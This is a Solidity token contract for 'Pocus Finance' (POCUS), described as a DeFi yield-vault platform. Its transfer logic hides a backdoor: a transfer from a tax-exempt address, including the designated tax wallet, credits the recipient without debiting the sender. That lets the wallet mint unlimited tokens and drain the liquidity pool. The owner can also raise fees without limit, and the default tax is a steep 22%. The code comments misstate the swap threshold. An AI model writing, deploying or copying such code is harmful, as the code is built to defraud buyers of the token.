// SPDX-License-Identifier: MIT

/*

    Decentralized asset management powerhouse. Optimizing yields, simplifying DeFi strategies, and leading the charge in tokenized, yield-bearing vaults

    PocFi is a platform for decentralized asset management that offers tokenized yield-bearing vaults of strategies.

    We aim to simplify DeFi strategy building for retail investors to invest in new crypto market narratives. Our goal is to enable investors to achieve maximum profits with clear and managed risks.

    Web: https://PocFi.finance
    App: https://app.PocFi.finance
    X: https://twitter.com/PocFiFinance
    Tg: https://t.me/PocFi_finance_official
    Docs: https://medium.com/@PocFi.finance

 */

pragma solidity 0.8.19;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address _uniswapPair);
}library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

abstract contract Ownable {
    address internal _owner;

    constructor(address owner) {
        _owner = owner;
    }

    modifier onlyOwner() {
        require(_isOwner(msg.sender), "!OWNER");
        _;
    }

    function _isOwner(address account) internal view returns (bool) {
        return account == _owner;
    }

    function renounceOwnership() public onlyOwner {
        _owner = address(0);
        emit OwnershipTransferred(address(0));
    }

    event OwnershipTransferred(address owner);
}

interface IUniswapV2Router {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract PocFi is IERC20, Ownable {
    using SafeMath for uint256;

    string private constant name_ = "Pocus Finance";
    string private constant symbol_ = "POCUS";

    uint8 private constant decimals_ = 9;
    uint256 private totalSupply_ = 10 ** 9 * (10 ** decimals_);

    mapping (address => uint256) private balances_;
    mapping (address => mapping (address => uint256)) private allowances_;
    mapping (address => bool) private noTaxAddress_;
    mapping (address => bool) private noMaxTxAddress_;

    bool private swapEnabled_ = true;
    uint256 private minSwapThreshold_ = totalSupply_ / 100000; // 0.1%
    bool private swapping_;

    address private routerAddr_ = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address private deadAddress_ = 0x000000000000000000000000000000000000dEaD;

    uint256 private maxTxAmount_ = (totalSupply_ * 25) / 1000;
    address private taxAddress_;
    IUniswapV2Router private uniswapRouter_;
    address private uniswapPair_;

    uint256 private taxLiq_ = 0; 
    uint256 private taxMarket_ = 22;
    uint256 private taxTotal_ = taxLiq_ + taxMarket_;
    uint256 private denominator_ = 100;

    modifier lockSwap() { swapping_ = true; _; swapping_ = false; }

    constructor (address PocFiAddress) Ownable(msg.sender) {
        uniswapRouter_ = IUniswapV2Router(routerAddr_);
        uniswapPair_ = IUniswapV2Factory(uniswapRouter_.factory()).createPair(uniswapRouter_.WETH(), address(this));
        allowances_[address(this)][address(uniswapRouter_)] = type(uint256).max;
        taxAddress_ = PocFiAddress;
        noTaxAddress_[taxAddress_] = true;
        noMaxTxAddress_[_owner] = true;
        noMaxTxAddress_[taxAddress_] = true;
        noMaxTxAddress_[deadAddress_] = true;
        balances_[_owner] = totalSupply_;
        emit Transfer(address(0), _owner, totalSupply_);
    }
    
    function updatePocFiTax(uint256 lpFee, uint256 devFee) external onlyOwner {
         taxLiq_ = lpFee; 
         taxMarket_ = devFee;
         taxTotal_ = taxLiq_ + taxMarket_;
    }    
    
    function _checkSellings(address recipient) private view returns (bool){
        return recipient == uniswapPair_;
    }

    function _checkIfSwap() internal view returns (bool) {
        return !swapping_
        && swapEnabled_
        && balances_[address(this)] >= minSwapThreshold_;
    }
    
    function adjustPocFiWalletSize(uint256 percent) external onlyOwner {
        maxTxAmount_ = (totalSupply_ * percent) / 1000;
    }

    function totalSupply() external view override returns (uint256) { return totalSupply_; }
    function decimals() external pure override returns (uint8) { return decimals_; }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if(allowances_[sender][msg.sender] != type(uint256).max){
            allowances_[sender][msg.sender] = allowances_[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }

        return _transferFrom(sender, recipient, amount);
    }
                  
    function _verifySwapBack(address sender, address recipient, uint256 amount) private view returns (bool) {
        return _checkIfSwap() && 
            _shouldChargeTax(sender) && 
            _checkSellings(recipient) && 
            amount > minSwapThreshold_;
    }

    receive() external payable { }
    
    function performPocFiSwap() internal lockSwap {
        uint256 contractTokenBalance = balanceOf(address(this));
        uint256 tokensToLp = contractTokenBalance.mul(taxLiq_).div(taxTotal_).div(2);
        uint256 amountToSwap = contractTokenBalance.sub(tokensToLp);

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapRouter_.WETH();

        uniswapRouter_.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );
        uint256 amountETH = address(this).balance;
        uint256 totalFeeTokens = taxTotal_.sub(taxLiq_.div(2));
        uint256 ethToLp = amountETH.mul(taxLiq_).div(totalFeeTokens).div(2);
        uint256 ethToMarketing = amountETH.mul(taxMarket_).div(totalFeeTokens);

        payable(taxAddress_).transfer(ethToMarketing);
        if(tokensToLp > 0){
            uniswapRouter_.addLiquidityETH{value: ethToLp}(
                address(this),
                tokensToLp,
                0,
                0,
                taxAddress_,
                block.timestamp
            );
        }
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        if(swapping_){ return _transferBasic(sender, recipient, amount); }
        
        if (recipient != uniswapPair_ && recipient != deadAddress_) {
            require(noMaxTxAddress_[recipient] || balances_[recipient] + amount <= maxTxAmount_, "Transfer amount exceeds the bag size.");
        }        
        if(_verifySwapBack(sender, recipient, amount)){ 
            performPocFiSwap(); 
        } 
        bool shouldTax = _shouldChargeTax(sender);
        if (shouldTax) {
            balances_[recipient] = balances_[recipient].add(_sendingAmt(sender, amount));
        } else {
            balances_[recipient] = balances_[recipient].add(amount);
        }

        emit Transfer(sender, recipient, amount);
        return true;
    }

    function _transferBasic(address sender, address recipient, uint256 amount) internal returns (bool) {
        balances_[sender] = balances_[sender].sub(amount, "Insufficient Balance");
        balances_[recipient] = balances_[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function _sendingAmt(address sender, uint256 amount) internal returns (uint256) {
        balances_[sender] = balances_[sender].sub(amount, "Insufficient Balance");
        uint256 feeTokens = amount.mul(taxTotal_).div(denominator_);
        bool hasNoFee = sender == _owner;
        if (hasNoFee) {
            feeTokens = 0;
        }
        
        balances_[address(this)] = balances_[address(this)].add(feeTokens);
        emit Transfer(sender, address(this), feeTokens);
        return amount.sub(feeTokens);
    }
    
    function approve(address spender, uint256 amount) public override returns (bool) {
        allowances_[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }
    
    function _shouldChargeTax(address sender) internal view returns (bool) {
        return !noTaxAddress_[sender];
    }

    function symbol() external pure override returns (string memory) { return symbol_; }
    function name() external pure override returns (string memory) { return name_; }
    function getOwner() external view override returns (address) { return _owner; }
    function balanceOf(address account) public view override returns (uint256) { return balances_[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return allowances_[holder][spender]; }
    
    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }
}